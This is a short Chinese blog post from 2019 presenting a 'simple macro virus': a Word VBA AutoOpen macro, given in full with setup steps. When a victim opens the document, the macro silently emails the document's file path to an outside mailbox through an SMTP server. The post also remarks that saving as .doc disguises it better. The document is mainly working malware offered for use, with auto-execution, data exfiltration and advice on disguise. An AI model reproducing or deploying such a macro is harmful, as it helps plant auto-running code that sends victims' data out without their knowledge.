title: 十分简单的宏病毒
date: 2019-04-14
categories: security
tags: 宏
功能是发送邮件,内容为对方打开这个文件的路径。
用了ActiveDocument.FullName获取当前文档的path。
不知道为什么Dim mail As New CDO.Message 会报错
改用Set cm = CreateObject("CDO.Message")
同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg
注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。
另外编辑完成后提示doc不支持宏,所以改为docm格式。 (docm即为支持宏的docx文件。若直接采用doc文件也可,伪装效果也更好)
另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库
代码
Sub AutoOpen()
'
' AutoOpen 宏
'
'
MsgBox ("thanks")
Set cm = CreateObject("CDO.Message")
cm.From = "xxxx@163.com"
cm.To = "yyyy@qq.com"
cm.Subject = "the back"
cm.HTMLBody = ActiveDocument.FullName
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With cm.Configuration.Fields
.Item(stUl & "smtpserver") = "smtp.163.com" 'SMTP服务器地址
.Item(stUl & "smtpserverport") = 25 'SMTP服务器端口
.Item(stUl & "sendusing") = 2 '发送端口
.Item(stUl & "smtpauthenticate") = 1 '需要提供用户名和密码,0是不提供 '
.Item(stUl & "sendusername") = "xxxx" '发送方邮箱名称
.Item(stUl & "sendpassword") = "xxxx" '发送方邮箱密码
.Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub